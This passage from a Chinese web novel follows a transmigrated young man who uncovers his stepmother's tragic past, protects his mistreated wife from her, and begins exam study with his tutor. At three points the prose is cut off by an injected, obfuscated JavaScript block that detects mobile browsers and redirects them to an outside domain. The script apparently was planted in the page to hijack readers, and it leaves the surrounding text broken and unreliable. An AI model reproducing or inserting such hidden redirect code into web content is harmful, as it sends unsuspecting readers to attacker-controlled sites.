沈白蘋已经习惯了,蹙着眉回道:“三叔名讳是‘之纬’,四叔的名讳是‘之绪’。” “老爷怎么能叫三叔同你一起上课?秦先生是太太娘家请来的老师,专为给你一人授课。你答应了吗?” 段之缙坐下给自己倒了一杯茶水,“我自然是没有不答应的理由,可这个事情我答应有什么用?太太能答应吗?我说要去禀报太太,老爷就放弃了。只是没想到,我这个人还真是不讨喜,太太待我不甚亲近便罢了,到底不是我的亲娘。兄弟之间又有什么龃龉,叫三弟也不喜欢我?” 沈白蘋摇摇头,“我进门晚,这些事情都是不知的。左右不过是,不患寡而患不均,咱们院儿里的吃穿用度是除了老爷太太的院子之外,最好的了。” 段之缙叹了口气,看了看外边的太阳,该是中午了,厨房也送来了午饭,只能先用饭。 这顿午饭倒是不用劝,沈白蘋偷瞧着段之缙的神色,还是那样安静斯文地小口进食,等着段之缙放下筷子,她又试探着夹菜,段之缙看她那副小心翼翼的样儿,连连用公筷为她夹菜,好叫她放心。 刚安安生生吃了饭,春华、秋实两个小丫头笑嘻嘻的进来禀报,说是刘妈妈回来了。 “叫她进来吧。”段之缙招呼一声,刘氏进来之后也不叫她行礼,连声问道:“妈妈不要客气了,这么匆忙的赶回来,身子也疲乏,赶快坐下吧。奶姐姐身子怎么样了?” 刘妈妈坐在一张小杌子上,叫身子比段之缙低些,笑得眼睛都看不见,喜滋滋地回道:“托二爷跟二奶奶的福,翠翠生了一个大小子,一上称有六斤六两,接生婆说是六六大顺的好兆头!翠翠身子也养得很好,女婿爱重她,舅姑也把她当亲闺女待。” 这算是穿越过来之后,为数不多的喜事,一个新生命诞生,无论如何都很值得高兴。 沈白蘋是女子,自然知道生产无异于鬼门关上走了一遭,因而大大地松了一口气,又因刘妈妈素来待她极好,很多时候,她差点熬不下去,都是刘妈妈悄悄地送来吃喝,便想送给奶姐姐和那个孩子些东西。 她走入内室,从自己为数不多的嫁妆里翻出了一个事事如意金项圈配长寿锁,上边点缀着透绿的翡翠和各色珠宝,很是精致。这还是她出生时外祖家给她打的,外祖家一向将她当宝贝,如今这个深院子里没人把她当什么宝贝,这金锁也换不来东西。 转身出去,沈白蘋双手捧着项圈递给刘妈妈,“妈妈,这是我小时候带的,如今虽然旧了不亮了,但是好歹也是金子做的,送给奶姐姐让小孩子添个喜气。” 刘妈妈吓得站起身来,手足无措地看看沈白蘋又看看段之缙,“二奶奶,这……这是您带过的东西,我们这些做奴婢的怎么能要?折了那个小东西的寿。” 段之缙瞧她们来回拉扯,笑着看了一会儿,开口道:“妈妈,你奶了我一顿,蘋儿也算是你的奶闺女,你的奶闺女给小外甥添一点喜气算什么?快收下吧。” “二爷……”刘妈妈脸上涨得通红,眼儿一挤竟然落下来泪,“二爷和二奶奶待奴婢一家子这样的好,叫奴婢去死也值。” “不要说这样的话。”段之缙皱了皱眉,他还是不能适应这样的主仆之言,也并不能从中感受到多少快乐。 “我们给妈妈东西,是因为妈妈值得。不说这件事儿了。妈妈知道我之前饮酒磕到头了吗?” 刘妈妈一惊,心疼地去看,果然见额角还有些泛青,想要去摸摸又怕弄疼了他,因而手脚也不知道往哪里放,嘴里嘟嘟囔囔没完,“哎呦,哎呦,怎么这样不小心,是什么时候磕到的……” 段之缙拉着她重新坐下,“现在已经没事儿了。只是可能有些余症,忘了很多事情,要请教妈妈。” 刘妈妈自然是无有不应。 “妈妈知道,为什么太太一定要我考科举吗?” 刘妈妈的神色一变,变得哀戚起来,她拿手绢擦擦泌出来的泪,哽咽着说道:“你连这都不记得了?你外祖家是商户,家里巨富,可是士农工商,人家表面上尊重,背地里不知道说了多少的闲话……” “可是官吏们多有为难?” “那倒不至于,我和你母亲身边的许嬷嬷都是王家的家生子。王家什么情景我们多少知道些,王老爷是有名的大善人,不知道捐了多少善款,知县老爷都与他相熟呢!只是背地里的话不好听。太太她从小便傲气,王老爷安排她嫁给咱们老爷,就是为了叫她从此不再是商户女。结果……” 结果段成平用了王家的银子,住着王家买的宅子,婚后却这样对待王虞。 “他根本考不中,纹哥儿五岁的时候,他外祖花了整整五万两,给他捐上了吏部员外郎的缺,是实在掌权的官职。” 可是他不知道感激,愈发的贪婪…… “你祖母那个时候还活着,刚得了官儿就觉得娶了我们商户女不体面,就想磋磨死太太,霸了她那一大笔嫁妆,好叫老爷另娶。那个时候纹哥儿都整整六岁了,他也舍得叫孩子没了娘!” “后来呢?”段之缙理性上还是厌恶王虞,她把自己的苦难加诸他人,可她自己的苦难呢?却没有一点儿办法报复回去。 “太太被关在柴房里,他们这些畜生只许送清水,想要叫太太活生生饿死。还是太太身边的丫头夏春偷来了钥匙打开柴房,又带着太太走过那么长的路,叫太太踩着她的背翻到外边去了。结果夏春却被活生生打死了。”刘妈妈说到这里,已经泣不成声,王虞是她的小姐,虽然傲气些,但待她们这些下人真是再好没有了,如今却变成了这幅样子。 “太太一路跑一路喊,把老爷花了王家五万两银子捐官的事情和住王家宅子的事情闹得人尽皆知,又求人给父亲去了信儿,这才能成就现在貌似相安无事的局面。只是这样一闹,她的名声也完了,太太便再也不愿意出门。不过……老爷的名声也完了,从那之后不可能再升官。” 她说着,又似回想起了什么,突然展露出一个笑容,“纹哥儿可好了,小小年纪,就跟他娘说,以后要考状元当大官,叫太太封诰命,风风光光地出门。只是后来……” 只是后来这一切都成了空话,夫人千求万求留不住儿子的命,施姨娘的儿子倒是活了下来。她不恨的,人各有命,她没有那个命罢了。可是她忍不了,陈锦绣那个贱人,纹哥儿刚死,消息刚传出去,她就带着她那个下贱种跑到主院里,说叫那个下贱种认自己做母亲…… 笑话!王虞在这个院子里蹉跎了多少的时光,吃了陈锦绣多少的亏,这才混到了这样的局面,她怎么看不出来陈锦绣那双眼里射出来的贼光?认自己做母亲,但是养在她的逢春院里,全都是盯着自己的钱! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905997|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可她之后也不会有儿子了,老爷已经几年没有进过她的屋子。就在这时候,住在听雪堂的施姨娘牵着十岁的儿子走到王虞的面前,“缙儿的一条命,都是夫人救下的,夫人若是不嫌弃缙儿,就叫缙儿养在主院里,只当是夫人亲生的孩子。” 施姨娘,小施…… 她是个最好的女孩,当初段成平非要与王虞同房时,是小施上前阻拦却被段成平瞧上了。她一家子的卖身契又全都捏在父亲手里。再说了,就凭自己救了段之缙的一条命,若他将来不认自己,礼法也饶他不得。 缙儿,你成了我的儿子,就要为我挣一个诰命来才是…… 死去的儿子的愿望被强加在他的弟弟身上,王虞一举一动都是为了叫段之缙读书、习文,日后高中做一番事业出来,好叫自己得封诰命,日后风风光光地出去。 一开始只是一个想法,后来在这个深宅大院里边,好人都能给逼疯了。王虞愈来愈紧张,她怕所有人都没有良心,于是小施见不到儿子。她怕段之缙也没有良心,于是养的他畏手畏脚,只敢听自己一个人的话。她觉得沈白蘋的母家不能给段之缙带来助力,于是就要折磨死她叫段之缙另娶。她变来变去,变成了段成平母亲的模样,折磨死儿媳,叫儿子娶一个体面的女人进来。 段之缙看着刘妈妈泣不成声,心下感慨万千,如今到了这个地步,原身欠王虞的那条命都得自己来还,看来这个科举是不得不考,这个诰命是不得不争了…… “好了妈妈,莫哭了。”段之缙递出去一条帕子,哄着刘妈妈擦了眼泪,又开口道:“我都知晓了,母亲也是可怜人。” 只是屠龙者,终成恶龙了…… “太太可怜,却不及施姨娘可怜……只可惜施姨娘是妾室,封不得诰命。” 段之缙哭笑不得,怎么连县试都没考,一个个就笃定自己一定能叫母亲封上诰命呢? 刘妈妈眼一瞪,又漏出一点儿神秘的笑来,“二爷以为我是奶妈子看着自己的奶儿子好?你妈妈我记得清清楚楚,施姨娘还是个闺女的时候,陪着还做小姐的太太上街,隆兴路上有一个算命的神仙,他算什么都准!当时一分钱都没要,指着施姨娘说,‘你是有大造化的!生个儿子日后要做大官哩!’” “我记得清清楚楚!”刘妈妈信誓旦旦,结果说了一套封建迷信出来。段之缙只觉得好笑,可也真是叫自己得了一点安慰,从桌上抓了一把果子,赶紧塞到她的手里叫她退下。 沈白蘋见他一言不发,忍不住问道:“算命的说的那番话,二爷不信?” 段之缙苦笑一声,“我信什么?我现在县试能不能过都是问题,当大官还早着呢?”他瞧沈白蘋面上还带着一副苦样,小小年纪,这般多愁,便忍不住要逗她一逗,“你刚听了神仙说我要做大官,便等不及做官太太了?” 沈白蘋听了脸上都要滴下血来,她杏眼瞪得溜圆,想要嗔段之缙一句,可长久以来的习惯又叫她没那个胆子,呼呼喘了几口气,只能嗫喏道:“那要看我有没有这个福气,借上二爷的势。” 段之缙见她有了几分生气,更要哄着她说笑,又讲笑话又逗乐子,把沈白蘋闺阁时养出的活泼劲儿都逼了出来,这才有点儿像十八岁的女孩。 两人正闹得欢,没瞧见太阳已经西下了,春华摆着一张哭丧脸进来,张口便叫沈白蘋脸上没了血色,“夫人……夫人叫二奶奶去主院伺候她用晚饭。” 5. 第五章 嫡母算计 沈白蘋刚才那一股活人气儿荡然无存,也许是刚才的段之缙太好,她忍不住将求救的眼神望过去,又急忙反应过来,自己这个丈夫,最是听太太的话,看他也没有用。 可是今日,终究是不同的。 沈白蘋刚一转身,手腕便被一个宽大的的手牵住,沉静的声音从后边传来,“是许嬷嬷来叫的吗?” 春华一愣,摆了摆头,“不是许嬷嬷,是太太身边的一个小丫头彩衣。” “你去告诉她,我做儿子的,没有伺候过母亲用饭,实在是过意不去,今日与二奶奶一起去伺候太太。” 春华脸上带着惊喜,狠狠点了一下头,连忙出去说。 “夫人。”段之缙将傻愣愣的沈白蘋唤回神,理了理有些散了的头发,“我说过不叫你在段家受委屈,你就不必害怕。” 明明还是往日那个人,沈白蘋却近乎看呆了,不由自主地点了点头,跟着段之缙一起去了主院。 夫妻两个一起给太太磕头问安,王虞脸儿一黑,恼怒又瞬间消失的无影无踪,她并不叫两个人起身,只疑惑道:“早上来了一次,现在不在屋里温书,又来我这边儿伺候干什么?” “回太太的话,‘人之行,莫大于孝’,儿子若不能孝顺母亲,岂不是白读了圣贤书,白做了一番人?” 王虞冷哼一声,“我是说不过你这个读书人,只盼望你读的这些书用到正途上,不要明年叫母亲空等一场。” “是。” 沉默无语,几个人等了片刻,小丫头们穿着鸦青色的衣裳,下边衬着藏蓝色裤子鱼贯而入,杯盏碗碟,将一个圆桌摆的满满登登。 许嬷嬷招呼彩衣端来水伺候着几位主人净手,王虞便坐在了主位上。 不等人吩咐,沈白蘋熟门熟路地倒了一碗清茶准备侍候太太漱口,可手里的花神茶碗被段之缙接了过去,“这茶碗是要干什么?” 沈白蘋偷看一眼脸色不好的嫡母,抿着唇道:“是为太太漱口的,二爷,还是叫我来吧。” 段之缙朝她一笑,端过茶碗“噗通”一声跪下,茶碗高高地举过头顶,大声道:“请母亲漱口!”只是漱个口罢了,他闹这一番大动作,王虞尴尬地嘴角抽搐,咳了一声才接过茶碗漱口。 段之缙又抢着把痰盂捧过来,又是郑重其事地跪下请母亲吐出来。 没两下王虞便受不了了,一脸不耐烦道:“行了行了!快起来吧!你这个大孝子,母亲看着都累得慌。” 沈白蘋瞧着他俩这一遭,仍是抿着唇,只不过是为了憋笑。 漱完口,段之缙又抢过沈白蘋手里的公筷,手脚麻利地每个菜都夹了一大筷子,将王虞的如意小碗塞得冒起来尖儿,乱七八糟的菜混在一起,实在倒胃口。 “缙儿,你也坐下吃饭吧,叫你媳妇来布菜是一样的。”王虞被他这一番举动闹得头都大了。真是奇怪,这个孩子良心发现知道体谅他亲娘不足为奇,怎么连这个妻子都照顾上了。王虞不是傻子,段之缙这样巴巴的跟着,不是为了沈白蘋还能是为了谁? 段之缙义正言辞地拒绝了,“太太,儿媳尽孝是儿媳孝顺,儿子尽孝是儿子孝顺。今日是儿子向您尽孝,怎么能自己坐下吃饭呢?” 王虞看他真是不为所动,面无表情,只叫沈白蘋先回去,自己要和“缙儿”说些体己话。 沈白蘋面带忧虑地回了自己的院子,屋子里就剩下“母子”二人。 “缙儿……我真是搞不懂你了。你媳妇这个事情,咱们不都说好了吗?” “儿子不知道母亲的意思。” 王虞冷哼了一声,面带讥讽,“我真是白做了一顿恶人,倒成了打鸳鸯的大棒了。沈白蘋的外祖母孝淑夫人已经去世,连带着杨家也垮了。她的母亲杨氏抑郁而死,父亲紧跟着续弦,连着一年不曾问过她一声。娶了这样的妻子对你有什么用?她若是像母亲一样有金山银山也就罢了,可她那点嫁妆,算什么东西?等着沈白蘋没了,母亲再下重金,为你聘来蒋育成先生的女儿不好吗?” 蒋育成是淮宁省籍的进士,为官才五年便无法忍受官场黑暗,辞官回乡去了,在过江的时候船被打翻,幸得王老爷出手相救才保全了性命。他是名震淮宁的名士,便是在京中也有他许多的旧友,若不是救命之恩,王虞如何敢想这样的人家? 段之缙挺直了腰板跪在地上,直直地看向王虞,低声说道:“太太,当年祖母也是这样想的吗?将您的命填在这个深宅大院里,再为父亲聘一个更体面的妻子。” 他轻飘飘一句话,王虞目眦欲裂,一个巴掌狠狠地甩上了段之缙的脸,近乎咆哮道:“你怎么敢这么对我说话!” 段之缙身子都没打一下晃,继续道:“便是我任由太太折磨死了蘋儿,太太为我聘娶了蒋家女,等着蒋家女无甚用处了,是不是又要折磨死蒋家女为我聘娶别人家的女儿?” “若我是这样的男人,太太实在不该信我……终有一天,等老爷能为我带来更多利益时,今日之沈白蘋不过是明日的您。儿子读书明理,为官也要上不愧于天,下不愧于地。结果今日便愧对了自己的良心,日后即便是封疆大吏,母亲一品诰命,咱们这个家也有出事儿的一天。” 王虞冷森森的眸子盯住段之缙,她并不回应刚才的话,“缙儿……段之缙……你真不像你父亲的种。他那样的男人竟然配有你这样的儿子。只是你变得也太快了些,真不像你。” 段之缙并不想隐瞒什么,实际上也没有什么好隐瞒的,“太太,儿子跟你说实话,自伤到脑袋之后,很多事情,连着这么多年读的书,儿子全都忘了。” 这句话不啻于一声炸雷,王虞只听到了“多年读的书,全都忘了”几个字,瘫坐在椅子上,眼睛里的神采也渐渐散去。 那明年二月的考试…… 今年段之缙已经十八岁了,从六岁开始读书,十岁自己给他请了名师教导,前不久夫子才信誓旦旦地保证,明年下场一定能中,结果竟然全忘了。 难道还要再等八年吗? 王虞的泪水都簌簌地流了下来,八年……她究竟还能不能等得八年? “太太! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905998|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”段之缙跪行上前,“不到下榜的那一刻,谁都不能断定儿子过不了县试!” 段之缙的语气里说不出的庄重,近乎信誓旦旦。 “您先别急着丧气,还有七个月呢。七个月未必不能有成效,何况若是此次不中,后年二月份还能再考,那一次一定能中!但是太太,你一定……一定要全然听我的安排。” 王虞似乎被他的镇定感染了,泪水也渐渐止住,她退到屏风后边处理妆容,声音飘忽忽地传过来,带着一股破釜沉舟的狠意,“左右到了如今的地步,我想叫纬儿当我的儿子也晚了,谁也没开天眼,就知道我如此不幸摊上了这样的事情。罢了……我只给你三年的时间,你若是三次都不成,索性你四弟的生母难产而亡,他也愿意来当我的儿子。” 段之缙称是,他抬起头看着屏风里影影绰绰的身影,心里很清楚,嫡母除了自己根本没有其他的选择,段之绪今年似乎才十一二岁,因为生母早逝九岁才开蒙,除非他是天才,否则五年之内根本没有什么希望。 但是嫡母需要制造一个假象,他不是唯一的选择。 “你需要什么,尽管开口,只要是钱能弄来的,京城没有我从淮宁弄,淮宁没有我从全天下弄!” 段之缙再一拜,“儿子谢过太太,明日儿子正式开始读书,需要蘋儿在我身边,请太太不要再叫她来伺候了。若可行,能否请太太将安平县本任县令就任以来能得到的县试考题找寻给儿子,并将通过县试士人之答卷内容也为儿子寻来。” 屏风里王虞只冷哼一声,半晌才阴阳怪气道:“你倒是痴情的种子……罢了,从了你,回去的时候将丫头萃佩也带回去,替我照顾你,有什么想要的就跟她说,她会报与我。” “儿子还有一个请求,求太太开恩,儿子实在放心不下姨娘,若是姨娘出了主院,万望太太垂怜,差人跟着姨娘别叫她遇着了险。” 王虞不知为何沉默了下去,布着细纹的眼角倏忽间落下一颗泪,很快陷在厚厚的脂粉里,她的嘴唇翕动,半晌,才痛苦地说了一句,“要是我的纹儿还活着……”话只说了一半,后半句被吞下,她想说什么呢?或许她的纹儿还活着,也像段之缙这样记挂着亲娘。 “我答应你,必不叫施姨娘遇险。在我这儿吃了饭,然后回去歇着吧。” 段之缙与她纠缠许久,现在也松了一口气。王虞的下一句话却叫他脸色涨红。 “只是还得叮嘱一句,我知道你们这些读书人,读累了说不得要做什么下贱的事情。你和你媳妇朝夕相处,小心把身子掏空,萃佩要是回来跟我说你的身子虚了读不了书,我就当着你的面打死你媳妇。” 段之缙尴尬地头都抬不起来,咳了一阵如蚊虫般回道:“儿子谨记。” 王虞终于收拾好了,刚才的饭一口没吃,肚子里空落落的难受得紧,但看着那堆在一起的菜码真是恶心,只舀了一勺鸡丝瑶柱粥吃,段之缙倒是不嫌弃,从地上爬起来之后端起自己堆在一起的菜就吃,动作极快,没一会儿他就吃饱退了出去,回到了自己的致知斋。 6. 第六章 夫妻谈话 “二爷!”沈白蘋如早上一般倚门而望,遥遥看见了他的身影便急忙提着裙摆疾走过去,瞧他神色莫名,总不敢正眼看她,心中便生疑。 该不会……该不会又成了原来的样子吧? 沈白蘋想着,头低低地垂下。 若是段之缙一辈子是个王八蛋,她也不会盼望,不会有不切实际的幻想,更不会如此刻这样忐忑。 算了,女人都是这样过的,王虞小姐成了现在的“太太”,自己熬过去生下来孩子,或许也会变成一个“太太”吧。 她这里耷拉着头胡思乱想,段之缙也是看见她就不自在。 “淘澄空了身子……打死她!” 这句话一直在他脑子里回荡,叫人想想就尴尬。 段之缙瞧着这个女孩心里发麻,酝酿了好长时候才开口道:“我跟母亲商量好了,从明日开始,你就在致知斋伺候我读书,不必再去主院侍奉母亲了。” 这一句话不啻于一声白日炸雷,沈白蘋傻痴痴地愣在了原地,面上只有一片茫然,“真……真的?” 段之缙瞧她的傻样便觉好笑,点点她的鼻子回道:“这还能有假?我说瞎话唬你,能得什么好处?” 沈白蘋被他亲昵的动作羞得脸红,刚才的欣喜一块儿涌上来,叫她桃花瓣儿一样的嘴唇勾起来一个弯儿,又不可控制地撇下去,泪水一滴滴掉下,沈白蘋的手里绞着自己裙边,弄着绸子上全是指痕。 喜到极处,巨大的苦闷和难过笼罩了这个不过十七岁的小孩。那些立规矩的日子,整日站在嫡母身边侍奉汤水,但凡热了冷了,轻则挨一顿训斥,重则便要去祠堂跪着。有些时候太太心情不好,自己被关在祠堂里两日,只有刘妈妈能溜到这边的时候,才能吃上点儿,喝上点儿。若太太心情再不好,自己还需晚上去陪侍,就趴着睡在脚踏上,人家要喝水要起夜,全都得自己亲自去伺候,不能有片刻的安歇。 这些苦日子,竟然就这么到头了…… “哎呦,哎呦,怎么哭了?”段之缙看着她闷着声哭,这下子真是手忙脚乱了,小丫头们一个个着急忙慌不顶用,还是从主院带回来的萃佩姑娘拿了自己的绢子给沈白蘋擦泪,嘴中哄道:“二爷照顾二奶奶,心疼二奶奶在太太身边立规矩,这才求了太太不再叫奶奶往主园去伺候了。现在奶奶哭成这样,倒显得二爷做错了什么。即便不是那个意思,奶奶进门都两年了,如何还跟孩子一般哭哭啼啼呢?全叫二爷看了笑话。” “我可没笑话她!”段之缙听了连忙摆手,绝不叫嘲笑人的名声担在自己脑袋上。原本还慌慌张张的小丫头也停下来看着小夫妻两个人偷笑。 沈白蘋握着萃佩的手擦泪,又抬头瞟一眼急得脸红脖子粗的段之缙,确有些不好意思,因而强忍住泪水背过身去擦净了,这才回身,眼睛下垂着,脸红扑扑地不敢看丈夫。 哭了一场,头抬着还得往前看,过去的日子就是过去了,不应叫它困住活人。 沈白蘋再也没有了那些担忧和恐惧,安安生生地坐在桌子旁,一口一口地用饭,不用去管汤水的凉热,也不必去看往日丈夫搁下筷子与否。哪怕叫段之缙看着,她吃得也自在极了。 外边的太阳终于疲惫地沉下去,洒下赤金色的余晖,宣告一天结束了。 古代,尤其是京城里,夜生活并不枯燥,只是他们二人不可能出宅子逛街,只怕一出院门就会叫母亲知道,到时候委屈的又是妻子和娘亲。 早早地洗漱完,除了躺在一块儿睡觉,真也就没有别的事儿能干了。 夫妻二人躺在床上,沈白蘋想着白天的事情,心中说不尽的欢喜和感激,尽管她的痛苦有很多都是丈夫的不作为造成的。倾过身子,沈白蘋感激地依靠在丈夫的肩膀上,自己也羞怯地很,因而也没去注意身边的人跟木头一样,僵硬的不得了。 “二爷……”沈白蘋细声唤,说出来的话像是在清泉水里泡过一般,轻轻盈盈的。 “我一定伺候好二爷,不给二爷添麻烦。” 段之缙咳了两声顺势把身子背过去,又往床里边拱了拱,以为她在暗示自己行房,因而故意吓她道:“你小心点,母亲说了,要是你淘澄空了我的身子,她可要打死你……” 刚说完,胳膊上就被打着旋拧了一下肉,便听得一个清凌凌的声音带着着急和恼怒,“二爷也太不要脸了些!我几时说……说要那样了?” 沈白蘋羞得脸上发烧,外边昏昏的灯光透过密实的帐子,将她飞扬的神色映到段之缙眼里。 “我不敢跟你躺一张床了,我去外头睡!”沈白蘋瞧他看着自己出神,更是羞得眼含水光,抱着被子便要睡到外间去,动作间纱被掀来掀去,布料带来一阵风,把她身上暖融融的香气吹出去,直扑到段之缙脸上。 段之缙嗅得一阵暖香,不自觉地拉住了赤着脚要下床的女子,眼神显得更呆愣。 手腕上的大手带着火热的温度,简直要烫掉沈白蘋的一层皮,她更是羞怯,急得都要哭出来,“你……你放开……”体面的夫妻,两人应当相敬如宾才对,他怎么能对自己说这些话呢? 段之缙急忙松开,盯着被子上的万福纹开口,“外间没冰,会热着了你,还是睡在这里吧……我绝不再说这些话了。” 他也不知为什么要开口留人,也许是叫人家一个女子睡到外间去一点都不绅士,即便是出去也该叫自己出去睡。 “你要是不愿意,我就去睡外间好了。” 只是他嘴上说着,半天也没个举动,沈白蘋背对着他喘匀了气回头望,他才惊醒般地拉扯被褥,似是真的要收拾东西去外间。 “二爷!”沈白蘋轻扯了他的袖子,“外间没有冰……还是留下来吧。” 段之缙最是会顺杆儿爬的人,外头又确实热得很,便顺势躺下来,只是现在气氛怪异更是叫人热汗直流,本想活络活络氛围,一开口却又说错了话。 “我便知道夫人舍不得我。” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905999|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”沈白蘋这会儿真是急了,白莹莹的手攥成一个拳头捶在段之缙的胸口,一时也不知道如何发火,幸得她脑筋转得快,没一会儿便村儿了回去。 “怎么敢叫二爷睡到外间去,要是叫暑气淘澄空了二爷的身子,母亲还不得打死我。”沈白蘋伶牙俐齿地将刚才的话还给他,段之缙连连求饶,言说再也不敢讲这些“非礼”之事了。 两个人终于又安静下来,只是沈白蘋脸上还发着烧,段之缙是见过世面的人了,哄好了孩子又开始琢磨起明天见夫子的事情。他想着明年二月县试的事儿,突然开口问道,“蘋儿,你识字吗?” 沈白蘋幼时长住在外祖家,心肝儿肉一样的爱重,一切都比照着男孩的来,六岁便启蒙读书,跟着表兄弟们上学堂,学的也是四书五经、经世致用的道理。只是他们杨家不在乎女孩儿习文识字,别人家可不一定,现下又爱讲“女子无才便是德”的说教,生怕叫女人读多了书知晓了世间的道理,便能够和男人讲两句,更不愿意叫女人读书。沈白蘋犹豫一会儿,指甲陷在柔软的掌心,带这些怅惘地回道:“略识得几个字,能看看账本子罢了,书是一概不知的。” 段之缙这时候还不懂得这些弯弯绕绕,以为大家是一根藤上的蚂蚱,能掏心掏肺说实话,对此大为可惜,“本还想叫你同我一起上课……能写字吗?” 读书……沈白蘋的心砰砰地跳了起来,这个词已经离她的生活很远了,“自然是能的,叫我去给二爷伺候笔墨也成!”她激动得声音都劈叉了,带着急切的尖细劲儿。 “我有松烟,要你来伺候笔墨干什么?”段之缙忘了刚才的教训,又开始逗她,声音拖得长长的,“我要你来……” “二爷叫我做什么?” “我要你同我一起上课,将夫子讲得东西记下来,你能吗?” 沈白蘋郑重其事地回道:“二爷,我一定一字不落地全记下来。只是……只是夫子愿意让我进去吗?” “他愿不愿意说了可不算,母亲已经许了我,这七个月全凭我做主。” 真好…… 沈白蘋躺在床上暗暗地想,看来“福兮祸之所依,祸兮福之所伏”,真是有几分道理。当年段家下了血本聘自己,连嫁妆都能不要,原以为是一个好去处,没想到掉到了狼窝子。二爷磕着脑袋,连着几日不曾转醒,本以为要挺不过来了,自己就算一根绳子吊死,也不要再熬着被嫡母折磨,没想到二爷醒来却是变了一个人。 或许自己这一生,真的可以托付给身边的这个男人。 “从明天开始,你跟着我一块去读书,我今天瞧着房里的那个双喜鹊报喜的屏风很好,又透光又模模糊糊地看不清里边,明儿早上就叫小子们搬到上课的正堂上去,你在后边上课,我在前边上课……” 两个人细细地商量着明天的事儿,外边的天也渐渐黑到了极处,屋内的声音越来越小,两个人打着哈欠,都迷迷糊糊睡了过去。 第二天,就要来了。 7. 第七章 论战夫子 天还蒙蒙亮的时候,段之缙就睁开了眼,吩咐松烟带着小子们将上课的正堂重新收拾一番,另置了一张屏风和一套桌椅,供沈白蘋读书记录之用。 等着沈白蘋也收拾好了的时候,夫妻二人好生吃了个早饭,段之缙今日头一回见夫子,还有些紧张,因而进得比往日慢许多,有些神思不宁。 “别担心……”沈白蘋纤纤玉手握住了段之缙攥成拳的手,脸上带着叫人安心的笑,“二爷之前跟我讲过,夫子最是和蔼可亲的人,从不故意为难与你。” 这还是刚进门,两个人正浓情蜜意的时候榻边细语,后来便不曾对着她说过什么了。 “我倒不是担心这个,只是做学生的什么都忘了,夫子的心血也是白费了。” “这也不能怪二爷不是?还是多吃些,等会儿好生应对夫子才是。” “你说得对。” 两人用完饭来到正堂静坐,没一会儿便有一位身着暗青色长袍,别着一个烟斗的中年男子走进正堂,眉头紧缩,面上却无多少表情。 他身形瘦削,声音洪亮,也没用多大气力便问话声便响彻了整个正堂。 “我听你母亲传话来,磕着脑袋后习的书都忘了?” 夫子虽然心里着急,但语气里还是平常的问话,反应都不及书童松烟的大,惊疑的目光在二爷身上徘徊。 段之缙连忙起身施礼,深深鞠了一躬,屏风后的沈白蘋虽不会被瞧见也起身施礼,以示尊重。 “全是学生的不是。” 先生点点头,似是觉得太严肃,想要活络活络气氛,又问起可还记得先生的名讳。只是他眉头仍然紧蹙着,声音也平正得很,倒像是在质问。 “是学生之过……” “好啊你个段之缙,连教了你八年的先生名讳都忘了。不过既然我们这回儿是从头再来,那为师也就从头再说一次,这回儿绝不许再忘!” 先生将腰间的烟斗取下,段之缙身边常使唤的松烟立刻便上前去点,烟草的气味逐渐弥漫开。 “为师姓秦,讳慎之。秦慎之。” 段之缙再施一礼,口中唤道:“段之缙见过秦先生。” 这一礼,是他科举路程的开始…… 也算是重新认识了一番,秦先生首先问询了段之缙现在的水平。 “四书知道多少?” “只朦朦胧胧记得一点罢了。” “考试的时文和论还会写吗?” “学生惭愧,一概不通……” “既如此,先写两笔字给我看看。” 段之缙铺开纸张,提笔写字,幸好前世为了赚钱,迎合那些喜爱附庸风雅的人,也学了一手好毛笔字,繁体字读写也是没问题。后来自己成了被人谄媚的对象不再去迎合别人,也坚持了下来,把书法当做了一个放松身心的方法。虽不敢称是什么大家,可也拿的出去手。 他前世得有四十余岁了,练字近二十年,和原身的岁数差不多大,因而在秦先生眼中已经是很拿的出去了。 “你如今的字倒是很有味道了,欧体有模有样,不错……也算是因祸得福。” 能没有味道吗?段之缙苦习欧体楷书,字虽不敢同先贤比较,在同辈人里也算是佼佼者。 “那为师给你定一个计划,三年后,今年是崇德十六年,崇德二十年下场考县试,然后咱们一举成功,院试也不必再等,直接下场如何?” 段之缙恭敬道:“回先生,学生不才,仍想明年二月下场。” 秦慎之一愣,脸上立刻有了不赞同,“你忘得这样多,七个月如何能下场。便是连日带夜,给你算成是十四个月,能把四书五经读通读透已经是万幸。再说,你还年轻得很,何必如此急躁呢?便是再拖上四年五年也不妨事。” “可是母亲和施姨娘拖不得了。”段之缙神色如常,又起身向秦先生施礼,“先生容禀,学生心中若是没有一二分成算,断不敢口出狂言想要明年下场。请先生听我详述。” 秦先生狠狠吸了一口烟斗,不留痕迹地叹了一口气,“罢罢罢,你说吧。” 